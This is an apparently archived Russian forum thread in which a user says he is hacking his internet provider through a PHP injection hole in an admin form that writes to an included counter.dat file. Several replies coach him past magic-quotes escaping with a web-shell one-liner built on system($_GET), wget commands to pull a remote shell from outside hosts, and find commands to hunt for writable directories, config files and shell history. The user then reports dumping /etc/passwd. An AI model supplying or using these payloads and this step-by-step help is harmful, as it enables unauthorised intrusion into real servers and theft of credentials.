PDA

Просмотр полной версии : Пшп инъекция


FeeR
28.03.2007, 01:47
Имею 3 файла, admin.php, counter.dat, gor_news.php.

Админ пшп выглядит просто - 1 мемо и кнопка. То, что вводиться в мемо пишится в counter.dat. При заходе в gor_news.php загружаеться этот самый коунтер.дат. В админ.пшп можно вставлять пшп код, но код типа

<?php system('ls') ?>

в канутер.дат уже записываеться, как

<?php system(\'ls\') ?>

При вводе кода без кавычек получаю листинг файлов. Код типа

<?php system($cmd) ?>

выдает Warning: system() [function.system]: Cannot execute a blank command in /var/apache2/htdocs/rus/home/counter.dat on line 1

Думаю, проблема вам понятна) Как её можно обойти, и если обойти нельзя, можно ли прямым вводом команд получать листинг предыдущей папки? Выручайте, провайдера взламываю =)

Spyder
28.03.2007, 02:05
хз чё посоветовать
попробуй wget'ом шелл залить
<? system(wget http://medved.ru/preved.php /var/apache2/htdocs/rus/home/preved.php) ?>

FeeR
28.03.2007, 02:10
На вгет получил

Parse error: syntax error, unexpected T_STRING in /var/apache2/htdocs/rus/home/counter.dat on line 1
=)
Пробовал так:
<?php system(' ls '); ?>

Глупо, и не получилось =)

Напомните плз команды сервера, ls, cd и т.д., просмотр файла и всякое такое, давно не работал забыл уже ))

Joker-jar
28.03.2007, 09:37
Точно незнаю, но помойму эта хрень называется "magic quotes" и как то отключается на сервере

+toxa+
28.03.2007, 10:35
мдя..
<? system($_GET[c]); ?>
потом командуй
script.php?c=id

guest3297
28.03.2007, 12:03
\x27 = '

Isis
28.03.2007, 12:27
мдя..
<? system($_GET[c]); ?>
потом командуй
script.php?c=id


<? system($_GET[c]); ?>

Тош))
Так правильнее будет -->>

<? system($_GET['c']); ?>

FeeR
28.03.2007, 12:31
Так, спасибо тоха, я делал немного подругому) c как переменную объявлял и пшп тупил =) Есть доступ. Какие файлы в ../../../../../ могут пригодиться? =) etc\passwd слил.

fYt
28.03.2007, 13:45
Почти в любом шелле есть поиск всех *conf, suid программ и др...загрузи шелл командой wget http://yoursite/shell.php(шеллы тут (http://forum.antichat.ru/forum89.html) ). Также можно посмотреть bash_history в домашних каталогах /home/*(они не объязательно могут быть там).

p-range
29.03.2007, 02:13
просто командуй:

директории доступные для записи:
find / -type d -perm 0777 -ls

ищем файлы содержашие в названии "config":
find / -type f -name "*config*.php" -ls
*_history файлы:
find / -type f -name "*_history" -ls

и так далее...

+toxa+
29.03.2007, 22:06
Тош))
Так правильнее будет -->>

<? system($_GET['c']); ?>


я знаю, тока ты учти что у него мэджик квост он=\